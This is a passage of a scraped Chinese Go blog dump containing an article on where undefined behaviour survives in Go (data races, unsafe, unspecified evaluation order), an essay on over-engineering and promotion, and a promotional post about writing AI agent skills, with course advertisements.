UB（例如数组越界、有符号整数溢出、空指针解引用），编译器可以“为所欲为”。\n这种“为所欲为”不仅包括程序崩溃，还包括产生错误的结果、损坏数据，甚至——虽然只是笑话——让恶魔从你的鼻孔里飞出来。换句话说，一旦触碰 UB，程序的所有保证瞬间失效。\n2009 年，Go 语言横空出世，高举“云原生时代系统语言”的旗帜，承诺提供比 C++ 更高的安全性、更快的编译速度和更简单的并发模型。Go 的拥趸们津津乐道于它的内存安全特性，仿佛 Go 已经彻底终结了 UB 的噩梦。\n但真相果真如此吗？\n近日，我翻阅了一份珍贵的历史资料——2013 年发生在 golang-nuts 邮件组的一场深度辩论。对话的一方是 Go 语言曾经的顶级贡献者 Dave Cheney，另一方是 Go 核心团队成员、gccgo 的作者 Ian Lance Taylor。\n这场发生在这个语言童年时期的对话，揭示了一个令人背脊发凉又引人深思的事实：Go 并没有完全消灭未定义行为，它只是将 UB 赶进了一个更隐秘、更危险的角落——并发。\n本文将带你层层剥开 Go 语言规范的表皮，调查“未定义行为”在 Go 中的真实生存状态，并探讨这对我们编写高质量代码意味着什么。\n用“定义”换取“安全”——Go 的显式哲学 要理解 Go 做了什么，我们首先得明白 C/C++ 为什么保留 UB。Ian Lance Taylor 指出，C/C++ 保留 UB 本质上是为了性能——允许编译器假设“坏事永远不会发生”，从而进行激进的优化。\nDave Cheney 的疑问直击灵魂：“Go 规范中几乎看不到‘undefined’这个词，这种设计如何影响了 Go 的安全性与性能？”\n答案是：Go 选择了一条确定性（Determinism）优先的道路。Go 语言规范以一种近乎偏执的态度，将绝大多数在 C/C++ 中属于 UB 的行为，都进行了严格的“定义”。即便是在错误场景下，Go 也要保证行为是可预测的。\n整数溢出的“确定性”承诺 在 C 语言中，有符号整数（Signed Integer）的溢出是经典的 UB。编译器有权假设溢出永远不会发生，从而将 x + 1 \u0026gt; x 优化为恒真（Always True），这曾导致过无数的安全漏洞。\n但在 Go 语言规范中，对此有着截然不同的定义：\n无符号整数：运算结果严格按照 2^n 取模。这意味着高位被丢弃，程序可以依赖这种“回绕（Wrap-around）”行为。\n有符号整数：运算可以合法地溢出（legally overflow）。结果由有符号整数的表示方式（通常是补码）、运算类型和操作数确定性地定义。溢出不会导致运行时 Panic。\n最关键的是，Go 规范明确禁止编译器进行危险的假设：“编译器不得假设溢出不会发生。例如，它不得假设 x \u0026lt; x + 1 总是为真。”\n代码实证：\n// https://go.dev/play/p/5CZVVU-SITX package main import \u0026#34;fmt\u0026#34; func main() { // 1. 有符号整数溢出 (Signed Overflow) var a int8 = 127 // 在 C 语言中这是 UB，但在 Go 中这是明确定义的 b := a + 1 fmt.Printf(\u0026#34;int8: %d + 1 = %d\\n\u0026#34;, a, b) // 输出: 127 + 1 = -128 (确定性的回绕) // 2. 编译器禁止做的优化 // 如果编译器假设溢出不发生，它会把这个判断优化掉 if b \u0026lt; a { fmt.Println(\u0026#34;发生溢出：b 确实小于 a\u0026#34;) } else { fmt.Println(\u0026#34;未发生溢出逻辑（Go 中不会走到这里）\u0026#34;) } // 3. 无符号整数溢出 (Unsigned Overflow) var c uint8 = 255 d := c + 1 fmt.Printf(\u0026#34;uint8: %d + 1 = %d\\n\u0026#34;, c, d) // 输出: 255 + 1 = 0 (严格的 Modulo 2^n) } Go这么做的代价是Go 编译器失去了一些数学优化机会（例如不能简单地消除某些循环边界检查）。但也消除了因编译器“自作聪明”而导致的逻辑崩塌，保证了不同平台下的行为一致性。\n数组越界的“必杀令” 缓冲区溢出（Buffer Overflow）是网络安全史上最大的杀手。C/C++ 将越界访问视为 UB，允许攻击者通过越界读取敏感内存或覆盖返回地址，进而控制系统。\nGo 对此零容忍：越界必须触发 Panic。\n无论是在栈上分配的数组，还是在堆上分配的切片，Go 编译器都会在每一次访问操作前（除非能静态证明安全）插入一段 Bounds Check（边界检查）指令。一旦越界，程序立即停止，绝不含糊。\n代码实证：\n// https://go.dev/play/p/-CqDpIDr0BC package main import \u0026#34;fmt\u0026#34; func main() { // 定义一个长度为 3 的切片 s := []int{1, 2, 3} // 模拟一个动态索引（避免编译器在编译期直接报错） index := getIndex() fmt.Println(\u0026#34;尝试访问索引:\u0026#34;, index) // 这里会触发 Runtime Panic // 错误信息明确：runtime error: index out of range [3] with length 3 val := s[index] fmt.Println(\u0026#34;这行代码永远不会执行\u0026#34;, val) } func getIndex() int { return 3 } 这种边界检查是在运行时（Runtime）介入，抛出 Panic，打印堆栈信息。因此会带来运行时性能损耗。虽然现代 Go 编译器引入了 BCA（边界检查消除）技术，但在无法静态分析的场景下，这就是必须缴纳的“安全税”。\n空指针的“硬着陆” 在 C 语言中，解引用一个空指针是 UB。编译器有时会优化掉判空逻辑，因为它认为“既然你解引用了，那指针肯定不为空”，导致后续的安全检查失效。\nGo 规定：解引用 nil 指针必须触发 Panic。\n这通常是通过 CPU 的硬件异常（SIGSEGV）来捕获的。Go 运行时会接管这个硬件信号，并将其转化为一个可恢复的 Go Panic，而不是让进程直接 Core Dump 或进入不可预测的僵死状态。\n代码实证：\n// https://go.dev/play/p/hlyZks1dGRf package main import \u0026#34;fmt\u0026#34; type User struct { Name string } func main() { var u *User // u 默认为 nil fmt.Println(\u0026#34;准备访问 nil 指针...\u0026#34;) // 在 C 中这是 UB，可能导致程序崩溃或更糟的情况 // 在 Go 中，这不仅会 Panic，还可以被 Recover 捕获 defer func() { if r := recover(); r != nil { fmt.Println(\u0026#34;捕获到恐慌:\u0026#34;, r) // 输出: runtime error: invalid memory address or nil pointer dereference } }() // 触发 Panic fmt.Println(u.Name) } 综上，我们可知：在单线程维度，Go 确实几乎消灭了 Undefined Behavior。它通过强制规定行为（Wrapping, Panicking），将“未定义”变成了“定义明确的错误”。即使程序写错了，它的错误方式也是确定的，而非随机的。\n房间里的大象——数据竞争 如果文章到这里结束，那么 Go 就是一个完美的、绝对安全的语言。\n但 Ian Lance Taylor 随后抛出了一个重磅炸弹：\n“However, Go does have undefined behavior: if your program has a race condition, the behaviour is undefined.”\n（然而，Go 确实存在未定义行为：如果你的程序存在数据竞争，那么行为就是未定义的。）\n这就是 Go 语言安全神话中最大的裂痕。\n在 Rust 中，编译器借用检查器（Borrow Checker）会在编译期阻止数据竞争，因此 Rust 可以自豪地宣称“无数据竞争”。但 Go 选择了更简单的并发模型，允许 Goroutine 共享内存。\n一旦发生数据竞争（Data Race），即多个 Goroutine 同时访问同一块内存且至少有一个是写操作，Go 就不再提供任何保证。\n为什么数据竞争是真正的 UB？\n很多 Gopher 认为数据竞争只是“读到了旧数据”或者“计数器少加了 1”。这是一种极其危险的误解。在多核 CPU 和现代编译器优化的加持下，数据竞争在 Go 中可能导致内存安全破坏。\n这主要源于 Go 的多字数据结构（Multi-word Data Structures）。\n接口（Interface）的“撕裂” Go 的 interface 在底层是由两个机器字组成的：{type_ptr, data_ptr}。\ntype_ptr 指向具体类型的元数据（如方法表）。 data_ptr 指向具体的数据值。 假设我们有一个全局接口变量 var i interface{}，以及两个实现类型 type A 和 type B。\nGoroutine 1 试图将 i 赋值为 A{}。 Goroutine 2 试图将 i 赋值为 B{}。 如果没有加锁，Goroutine 3 可能会读到一个“弗兰肯斯坦”般的怪物接口：它的 type_ptr 来自 A，但 data_ptr 却指向 B 的数据！\n当你调用这个接口的方法时，程序会尝试用 A 的方法表去操作 B 的内存布局。这会导致什么？\n如果运气好，你会得到Panic（类型断言失败或非法内存访问）。\n反之，如果运气不好，那远程代码执行（RCE）的攻击者可以精心构造内存布局，利用这种类型混淆（Type Confusion）来劫持控制流。\n切片（Slice）的“越界” 切片由 {ptr, len, cap} 三个字组成。数据竞争可能导致你读到了新的 len（变得很大），但 ptr 还是旧的（指向一个小数组）。结果是你拥有了一个长度远超底层数组容量的切片，这让你能够读取甚至修改不属于该切片的任意内存——这正是 C 语言缓冲区溢出的翻版。\n这，就是 Go 中的 Undefined Behavior。 它不是“鼻恶魔”，但它是真实存在的安全黑洞。\n那些“未指明”的灰色地带 除了致命的 UB，讨论中还涉及了 Go 语言规范中的另一种存在：未指明行为（Unspecified Behavior） 或 实现定义行为（Implementation-Defined Behavior）。\n这些行为虽然不会导致内存破坏，但同样破坏了程序的“确定性”。\nMap 的迭代顺序 在 Go 中，for k, v := range m 的顺序是故意未定义的。\nIan 解释说，这是为了防止开发者依赖某种特定的哈希实现顺序。Go 运行时甚至在每次迭代开始时引入了随机种子(迭代器会在map bucket 数组中随机选取一个起始位置向后遍历)，强制让顺序变得不可预测。\n这是一个非常有智慧的设计：通过强制随机化，逼迫开发者编写不依赖顺序的健壮代码。\n表达式求值顺序：在“确定”与“未指明”之间 在 C/C++ 中，f(g(), h()) 中 g() 和 h() 谁先执行是未定义的（Undefined Behavior 或 Unspecified Behavior），这取决于编译器实现。\nGo 语言规范对此做了更严格的规定，但依然保留了一块微妙的“灰色地带”。\n确定的部分（Defined）：\nGo 规定，在求值表达式的操作数、赋值语句或返回语句时，所有的函数调用、方法调用和通信操作（Channel receive）都必须按照词法上从左到右的顺序执行。\n例如，在赋值语句 y[f()], ok = g(h(), i()+x[j()], \u0026lt;-c), k() 中，函数调用和通信的发生顺序被严格锁定为：\nf() -\u0026gt; h() -\u0026gt; i() -\u0026gt; j() -\u0026gt;\u0026lt;-c -\u0026gt; g() -\u0026gt; k()。\n未指明的部分（Unspecified）：\n然而，规范同时也指出：并没有规定上述事件与表达式求值、索引操作、以及变量 y 的求值之间的顺序。\n这意味着，虽然函数调用的相对顺序是固定的，但涉及副作用（Side Effects）的变量读写顺序可能是不确定的。来看 Spec 中的经典反例：\na := 1 f := func() int { a++; return a } // x 可能是 [1, 2] 也可能是 [2, 2] // 因为 a 的求值与 f() 的执行顺序未定义 x := []int{a, f()} println(a, x) // --- 示例：map 字面量中 key/value 的求值顺序未定义 --- b := 1 g := func() int { b++; return b } // g() 会修改 b // 若 b 先被求值：key=1, value=2 → m = {1: 2} // 若 g() 先被执行：key=2, value=2 → m = {2: 2} // Go 规范不保证 key 表达式与 value 表达式谁先求值 m2 := map[int]int{b: g()} println(b, m2[b]) 虽然 Go 比 C/C++ 确定得多，但在编写依赖于求值顺序的副作用代码（例如在参数列表中修改全局变量）时，依然可能会掉进“未指明行为”的陷阱。因此，最好不要在单行表达式中依赖复杂的副作用顺序。\n浮点数转换的幽灵 讨论中有开发者 提到了 float64 转换为 uint8 的行为。在早期的 Go 版本中，对于溢出值的处理可能依赖于底层硬件指令（x86 vs ARM），从而表现出不一致。\n虽然 Go 正在逐步收紧这些规范，例如 #76264 提案(尚未落地)正试图统一浮点转整数的饱和行为，但这提醒我们：即使是强类型语言，在跨平台移植时也可能遇到底层架构带来的“方言”差异。\n如何在充满 UB 的世界里生存？ 既然 Go 没有彻底消灭 UB，作为开发者，我们该如何自保？\n视 -race 为生命线 Ian Lance Taylor 的警告应该被打印在每个 Go 开发者的工位上。\n建议：\n单元测试必须开启 -race 标志运行。 在 CI/CD 流水线中，竞态检测是不可跳过的阻断性步骤。 不要相信“我的并发逻辑很简单，不会出错”，人脑无法模拟现代 CPU 的乱序执行。 敬畏 unsafe Go 的 unsafe 包是通往 C 语言 UB 世界的后门。使用 unsafe.Pointer 进行类型转换时，你实际上是在对编译器说：“我知道我在做什么，出了事我负责。”\n除非你是编写底层运行时或极致性能库的专家，否则在业务代码中绝对禁止使用 unsafe。一旦使用，你必须熟读《Go 内存模型》和《垃圾回收器写屏障规则》。\n理解“实现定义”与“未定义”的区别 未定义（UB）：可能导致 Crash、数据损坏、安全漏洞（如数据竞争）。零容忍。 未指明/实现定义：不同版本或平台可能表现不同（如 Map 顺序）。不要依赖它。 已定义：Go 承诺的行为（如整数回绕）。可以依赖，但需知晓代价。 小结：完美的幻象与工程的现实 通过这次“真相调查”，我们得出的结论可能有些令人沮丧，但也足够清醒：\nGo 语言并没有彻底消灭 Undefined Behavior。它只是通过牺牲一部分性能和增加运行时检查，将 UB 的“攻击范围”从 C/C++ 的“随处可见”缩小到了“并发数据竞争”和“不安全代码”这两个特定的领域。\n这是一种极其成功的工程权衡。它让 Go 在保持高性能的同时，为 99% 的日常编码提供了坚实的安全保障。\n然而，作为 Gopher，我们不能沉浸在“绝对安全”的幻象中。我们必须意识到，当我们敲下 go func() 的那一刻，当我们试图共享一个指针的那一刻，我们正行走在悬崖的边缘。\nGo 给了我们围栏（定义明确的行为），但也给了我们梯子（并发与 Unsafe）。能否不跌入 UB 的深渊，最终取决于我们是否遵守工程的纪律。\n资料链接：https://groups.google.com/g/golang-nuts/c/MB1QmhDd_Rk\n你遇到过“鼻恶魔”吗？\n哪怕是 Go 这样严谨的语言，在并发面前也会露出锋利的牙齿。在你的开发生涯中，是否遇到过那种因为没开 -race 而在生产环境产生的“灵异事件”？你对 Go 这种“用性能换确定性”的哲学怎么看？\n欢迎在评论区分享你的“探案”心得！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/16/go-language-eliminated-undefined-behavior-truth-investigation/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-language-eliminated-undefined-behavior-truth-investigation-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/16/go-language-eliminated-undefined-behavior-truth-investigation\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/16/go-language-eliminated-undefined-behavior-truth-investigation\"\u003ehttps://tonybai.com/2026/03/16/go-language-eliminated-undefined-behavior-truth-investigation\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在系统编程的古老传说中，流传着一个关于“鼻恶魔”（Nasal Demons）的笑话。\u003c/p\u003e\n\u003cp\u003e这个梗源自 comp.std.c 新闻组，它是对 C/C++ 语言中“未定义行为”（Undefined Behavior，以下简称 UB）最生动也最恐怖的诠释。根据 ISO C++ 标准，如果你的代码触犯了 UB（例如数组越界、有符号整数溢出、空指针解引用），编译器可以“为所欲为”。\u003c/p\u003e","title":"真相调查：Go 语言真的消灭了 Undefined Behavior 吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/15/over-engineering-trap-no-promotion-for-simplicity\n大家好，我是 Tony Bai。\n今天讲点得罪人的大实话。如果你是一个有代码洁癖、崇尚极简主义、总是能用最干净的逻辑解决复杂问题的“老实人”程序员，那么接下来的内容，可能会戳痛你。\n因为在我们当下的技术职场里，有一个残酷的潜规则：“几乎没人会因为把代码写得太简单，而获得晋升。”\n“简单是一种伟大的美德，但复杂性往往卖得更好。” —— 艾兹格·迪杰斯特拉\n为什么“PPT架构师”总能赢你？ 想象一个极其真实的职场年度晋升场景。\n你是工程师 A。你接到了一个核心需求，经过缜密思考，你砍掉了伪需求，用 50 行极其优雅、无状态、无需外部依赖的代码解决了问题。两天上线，零 Bug，下一个接手的人一眼就能看懂。然后你默默回去修下一个 Bug。\n你的同事 B 接到了类似的需求。他敏锐地嗅到了“搞一波大动作”的机会。他引入了最新的消息队列，搞了一套基于 Pub/Sub 的微服务解耦机制，外加一个极度灵活的动态配置中心。他拉着各部门开了 5 次架构对齐会，花了 3 个星期，提交了 50 个 PR。\n到了年底晋升答辩，命运的齿轮开始转动。\nB 在 PPT 上展示了他那张密密麻麻、满是高大上名词的“企业级事件驱动架构图”，评委频频点头，惊呼“具备极强的技术深度和前瞻性布局”，B 顺利拿到了高层级的晋升（Staff/Principal）。\n而你呢？你不仅什么都没拿到，甚至连材料都写不出几行字。因为你把问题解决得太简单了，导致你的贡献变成了**“隐形的”**。\n这当然不是老板故意使坏，而是我们的评价体系出现了极其严重的“逆向淘汰”Bug。\n你很难为你“没有构建的灾难”去编织一个宏大的叙事。这套错位的激励机制，甚至从你面试的那一天就开始了。回想一下系统设计面试，如果你给出一个单体数据库+直白API的务实方案，面试官会皱眉；但如果你在白板上疯狂画微服务、分库分表、分布式锁，面试官才会满意地点头。\n你学到了什么？你学到的是：复杂性才能显得你聪明，哪怕它是毫无必要的。\n克制，才是最高级的炫技 难道老实人就活该吃亏吗？面对职场里这种“未挣得的复杂性（Unearned complexity，那些不必要的、额外的复杂元素）”，我们到底该怎么办？\n作为一名写了多年代码、也面试过N多人的老兵，我想带你看看Go 语言的生存哲学。\n如果你把编程语言拟人化，Go 就是那个在技术圈里坚持写简单代码的“老实人”。\n在众多技术论坛上，用 Rust 编写一个极其复杂的生命周期标注，或者玩弄高级宏，往往能赢得满堂喝彩，被视为“真正的技术极客”。而 Go 团队呢？他们拒绝加入复杂的特性，坚持去构造函数、去继承。结果常常被嘲笑“简陋”、“缺乏智力挑战”。\n这就和你我在职场中的处境一模一样：人们很容易为解决极其复杂问题的精巧设计而惊叹，却极难去赞美为了“把复杂性挡在门外”而付出的巨大克制。\n但结果呢？Go 凭借着这种极简，支撑起了整个云原生时代的半壁江山。Go 证明了一个硬道理：真正的工程实力，从来不是看你能堆砌多少种设计模式，而是看你能否用最直白的结构，解决最复杂的业务。\n任何一个新手都能把系统搞复杂；只有具备了足够的经验和自信，你才懂得何时应该留白。\n破局路径：如何包装你的“简单”？ 如果你认同“简单”的价值，但又不想在绩效和晋升上吃亏，你就必须学会一套**“防御性职场包装术”**。\n记住这个核心心法：你的代码可以很简单，但你必须让别人看到你达成简单的“思考过程”有多复杂。\n工作成果本身是不会说话的，你需要把“决定不做什么（Value of NOT building）”转化为你的影响力。从今天起，改变你的表达方式。\n你照着做就行：晋升/答辩对线话术模板 无论是在写周报、写晋升材料，还是在架构评审会上，直接套用以下模板：\n场景一：写晋升材料 / 简历 ❌ 吃亏的普通写法：\n“独立负责了功能 X 的开发，编写了 50 行核心代码，按时上线，没有出 Bug。”\n（评委：这活儿实习生也能干。）\n✅ 高绩效的降维打击写法：\n“主导了功能 X 的架构演进。深度评估了包括事件驱动架构、自定义中间件抽象等三种高并发方案，从 ROI（投入产出比）和系统熵增角度，排除了现阶段不必要的过度设计，为团队节省约 15 人日的研发与运维成本。最终敲定极简直白架构，两天内完成交付，并在过去 6 个月内保持零故障运行，确立了团队‘务实驱动’的工程标杆。”\n场景二：架构评审会遭遇“过度设计”逼问 当有人在会议上质问你：“难道我们不应该加个抽象层，为了未来百万并发做防范（future-proof）吗？”\n不要立刻妥协去加代码。\n✅ 教科书级硬核回击：\n“我做过推演：如果以后确实需要扩展，添加这个层级只需要大约 2 天的重构代价；但我同样评估了，如果现在就强行加上，会立刻增加 30% 的系统复杂度和长期的维护成本。基于目前的业务增速，这属于‘未挣得的复杂性’。权衡之下，我认为我们现在的架构决策应该是‘等待’。”\n你不是在对抗，你是在向所有人展示：你看到了复杂性，并且你用专业的工程判断力，主动选择击碎了它。\n写在最后 无论你是写日常业务代码，还是设计分布式系统，“简单”永远是最难达到的境界。\n如果我们继续只奖励复杂性，无视简单性，就不要对屎山代码越来越臃肿感到惊讶。希望这篇文章，能帮到那些依然在坚持写出整洁、克制代码的无名英雄们。\n今日互动：\n你在公司里，是那个苦逼的“工程师A”吗？你见过最离谱的“PPT过度架构”是什么样的？\n欢迎在评论区吐个槽。\n突破瓶颈，构建属于你的“极简工程审美”\n很多读者问我，如果不去学那些花里胡哨的设计模式，怎么提升核心竞争力？我的答案是：深入理解一门把“简单”做到极致的语言，去品味它背后的架构决策。\n如果你的 Go 技能卡在了“熟练”到“精通”的瓶颈期，渴望提升软件设计能力，驾驭复杂项目却缺乏章法——\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力。目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！\n认知升级：跳出内卷，成为“定义规则”的人\n有很多读者看完可能会问：Tony老师，如果我不去卷那些花里胡哨的复杂架构，在这个技术内卷的时代，我该如何建立自己不可替代的核心竞争力？\n我的答案是：转换赛道，从“拧螺丝的人”升级为“造工厂的人”。\n尤其是在大模型爆发的今天，如果你还在试图靠“手敲成千上万行复杂的代码”来证明自己的不可替代性，你不仅会输给那些擅长写PPT的同事，更会被不知疲倦的 AI 无情淘汰。因为机器，比你更擅长制造复杂的代码。\n真正的聪明人，早就停止了这场无效的内卷。他们把“简单”的工程哲学发挥到了极致：他们只专注于最高价值的“定义目标与架构决策”，然后把所有繁琐的、底层的“拧螺丝”工作，统统外包给 AI Agent。\n厌倦了为了晋升而制造复杂性？想要彻底跳出旧的评价体系，实现开发效率的降维打击？\n我的新专栏**《AI原生开发工作流实战》**正是为你准备的破局利器。在这个专栏里，我不教你虚无缥缈的理论，只教你如何把 AI Agent（如 Claude Code）变成你手下最不知疲倦的“高级外包”。\n告别低效内耗，重塑开发范式：用 AI 抹平代码复杂度的壁垒，让你专注于业务与架构本质。 驾驭 AI Agent 工作流：手把手教你实现从需求分析、代码生成到测试的自动化流水线。 实现职场跃升：带你从苦哈哈的“AI 工具使用者”，进化为规范驱动开发的“工作流指挥家（软件工厂厂长）”。 不要再用战术上的勤奋（写复杂的代码），去掩盖战略上的懒惰（拒绝使用新杠杆）。\n扫描下方二维码，开启你的 AI 原生开发之旅，把复杂留给机器，把晋升留给自己。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/15/over-engineering-trap-no-promotion-for-simplicity/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/over-engineering-trap-no-promotion-for-simplicity-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/15/over-engineering-trap-no-promotion-for-simplicity\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/15/over-engineering-trap-no-promotion-for-simplicity\"\u003ehttps://tonybai.com/2026/03/15/over-engineering-trap-no-promotion-for-simplicity\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是 Tony Bai。\u003c/p\u003e\n\u003cp\u003e今天讲点得罪人的大实话。如果你是一个有代码洁癖、崇尚极简主义、总是能用最干净的逻辑解决复杂问题的“老实人”程序员，那么接下来的内容，可能会戳痛你。\u003c/p\u003e","title":"别傻了，写出极致整洁的代码，是你升不了职的根本原因"},{"content":"都在用 OpenClaw 跑 Skill，但你写的“技能”为什么总让 AI 频繁罢工？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n都在用 OpenClaw 跑 Skill，但你写的“技能”为什么总让 AI 频繁罢工？ 三月 15, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/03/15/why-your-openclaw-skills-make-ai-go-on-strike\n大家好，我是Tony Bai。\n时间过得真快，自从去年 12 月下旬 Anthropic 正式抛出 agentskills.io 这个重磅规范标准以来，整个 AI 开发者生态已经发生了翻天覆地的变化。\n短短几个月，Skill（智能体技能）已经彻底成为了各种热门 Agent（比如大红大紫的 OpenClaw）的绝对标配。\n现在去看看大家日常的工作流：告别了过去那些又长又臭、各自为战的“私有方言” Prompt。大家都在疯狂地从开源社区拉取别人写好的优质 Skill，就像当年在 Docker Hub 上拉取镜像一样自然、丝滑。\n我们似乎已经全面进入了严谨的“技能工程（Skill Engineering）”时代。\n表面上看，这是一片繁荣的景象：到处都是“如何用 XX Skill 自动写完一个全栈项目”的爆款文章。只要把带有 YAML 头和 SKILL.md 的规范文件一挂，AI 就能自己干活了。多简单啊！\n但今天，我必须给大家浇一盆冷水。\n在过去两个多月的 实战 AI 原生开发、趟过了无数暗坑之后，我发现了一个极其普遍、却又被大多数人刻意忽略的残酷现象：绝大多数天天喊着“All in Agent”、天天白嫖别人开源 Skill 的开发者，其实根本没有看懂 agentskills.io 这个Skill 规范（Spec）的底层逻辑。\n当你试着自己去魔改或者从零编写一个专属 Skill 时，灾难往往就开始了：你的 AI 要么在关键时刻“想不起来”调用你的技能，要么在执行到一半时陷入死循环，要么疯狂产生幻觉、乱改你的核心业务代码。\n你以为你写的是严谨的“技能规则”，但在大模型的“心智”里，那可能只是一个让它频繁罢工的逻辑迷宫。\n你真的会写高阶的 Skill 吗？ 很多人以为，只要按照规范建几个文件夹，把原来的 Prompt 翻译成英文填进去，就算是掌握了 Skill Engineering。\n大错特错！看懂 YAML 规范，就好比你认识了 Go 语言的 25 个关键字，但这并不意味着你能写出千万级并发的高可用架构。真正拉开开发者阶层差距的，是如何避开大模型的心智陷阱，用工程化的思维去“编程 AI”。\n你可以问问自己以下这三个极其致命的实战问题：\n1. 你的 Description 是在写“说明书”，还是在“埋地雷”？\n很多开发者把 Skill 的描述（Description）写得极为详尽客观。但你知不知道，如果你的 Description 写得不够“带攻击性”、不够抢占模型的注意力权重，在复杂的长上下文中，AI 的触发率会大幅低于你的预期？你的技能写得再牛，AI 压根不用！\n2. 你还在用大写的 MUST/NEVER 去“恐吓”大模型吗？\n传统的编程思维告诉我们，指令要绝对强硬。但在面对具备强大“心智理论”的现代大模型时，死板的命令往往会引发模型的“叛逆”或逻辑短路。有一种远比强制命令更高级的沟通架构（即“讲道理（The Why）”范式），能让 AI 的服从性实现质的飞跃。你掌握了吗？\n3. 你的大模型在做“确定性的计算”吗？\n如果你在 Skill 里让 LLM 自己去处理复杂的逻辑流转换，你的工作流迟早会崩溃。顶级的高阶架构，必须是“LLM 负责控制流，外部脚本/程序负责数据流”。\n这三个问题，只要踩中一个，你的 Agent 自动化产线就是一个随时会“罢工”的草台班子。\n如何批量“制造” AI 技能？ 如果你对上面这几个问题感到迷茫，如果你发现自己写的 Skill 总是跑不出开源大神那样的流畅度，不要慌，你只是缺少了一套系统性的高阶内功。\n为了帮你彻底补齐这块最短的木板，让你真正吃透 Skill Engineering 的底层逻辑，我在我的极客时间专栏 《AI 原生开发工作流实战》 中，加更了一篇万字级别的加餐：\n《加餐 | 告别“方言”：全面解析 Agent Skills 行业标准与高阶编写心法》\n在这篇长文中，我做了以下几件事：\n扒开 Spec 的底裤：为你深度剖析规范中那些极其重要、却鲜为人知的核心机制（比如决定上下文利用效率的渐进式披露机制（Progressive Disclosure））。 四大实战心法：把上面提到的那些导致 AI 罢工的致命“暗坑”为你一一填平，教你如何像顶级架构师一样，“精准狙击”大模型的注意力。 在这篇加餐的最后，我还介绍了“评测驱动（Eval-Driven）”的Skill 编写工作流，即用 AI，来规模化地创造和评测AI skill的方法。\n如果你不想在这个“万物皆 Agent”的时代，永远只能做一个在后面捡别人开源代码吃灰的“调包侠”；如果你想把你们团队的隐性业务知识，彻底沉淀为高质量、可版本控制、永不罢工的数字资产：\n这篇加餐，以及整个《AI原生开发工作流实战》专栏的内容，是你绝对不容错过的“时代利器”。\n不要犹豫，立刻扫描下方二维码，订阅专栏吧！\n我也非常期待大家能在极客时间的评论区留言，分享你在编写 Skill 时遇到的奇葩幻觉，或者绝妙的工程 Idea。我会在那里等你，我们一起完成最华丽的技能升维！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/15/why-your-openclaw-skills-make-ai-go-on-strike/","summary":"\u003ch1 id=\"都在用-openclaw-跑-skill但你写的技能为什么总让-ai-频繁罢工---tony-bai\"\u003e都在用 OpenClaw 跑 Skill，但你写的“技能”为什么总让 AI 频繁罢工？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google 